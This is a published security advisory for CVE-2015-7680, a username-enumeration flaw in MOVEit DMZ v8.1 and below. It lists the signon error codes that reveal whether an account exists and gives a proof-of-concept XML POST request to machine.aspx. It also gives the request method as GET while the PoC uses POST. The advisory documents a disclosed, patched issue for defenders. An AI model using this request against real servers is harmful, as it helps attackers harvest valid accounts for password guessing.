Profundis Labs - Security Advisory

Vulnerablity Title
==================
Enumeration of existing usernames

Vendor:
=======
Ipswitch, Inc (http://www.ipswitchft.com) 

Product:
========
MOVEit File Transfer

MOVEit is an automated file transfer system that lets you manage, view, secure, and control all business-critical file transfer activity through a single, secure system.
(Source: http://www.ipswitchft.com/moveit-managed-file-transfer)

Affected Versions:
==================
MOVEit DMZ v8.1 and below

Vulnerability Type:
===================
Information disclosure

CVE Reference:
==============
CVE-2015-7680

VENDOR Reference:
=================
http://docs.ipswitch.com/MOVEit/DMZ82/ReleaseNotes/MOVEitReleaseNotes82.pdf
Vendor Reference Number: MIDMZ-6571

Vulnerability Details:
======================
An unauthenticated user can check if a user name exists by using the controller: machine.aspx
By performing a login via XML/Soap the different return codes can be evaluated to check wheather a user exists or not:

ErrorCode 2050 -> Username does not exist
ErrorCode 2025 -> Username exists but password is wrong or user is locked
ErrorCode 0 -> Username exists and right password was provided

PoC code(s):
============
POST /machine.aspx HTTP/1.1
...

<?xml version='1.0' encoding="iso-8859-1" ?>
<siLockRequest>
<transaction>signon</transaction>
<username>USERNAME</username>
<password>xxxxxxxx</password>
<agentbrand>xxxx</agentbrand>
<agentversion>8.1.0.0</agentversion>
<ipaddress>x.x.x.x</ipaddress>
</siLockRequest>

Disclosure Timeline:
====================
Vendor Notification:  09/23/2015
Vendor Confirmation:  09/24/2015
Vendor Patch Release: 10/20/2015 
Public Disclosure:    01/27/2016

Severity Level:
===============
7.1 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Description:
============
Request Method(s):              [+]  HTTP GET

Vulnerable Product:             [+]  MOVEit DMZ v8.1 and below

Authentication (Role):          [+]  Anonymous

===========================================================
[+] Author: Philipp Rocholl

[+] Website: https://www.profundis-labs.com

[+] Source:  https://profundis-labs.com/advisories/CVE-2015-7680.txt

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. 
Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information.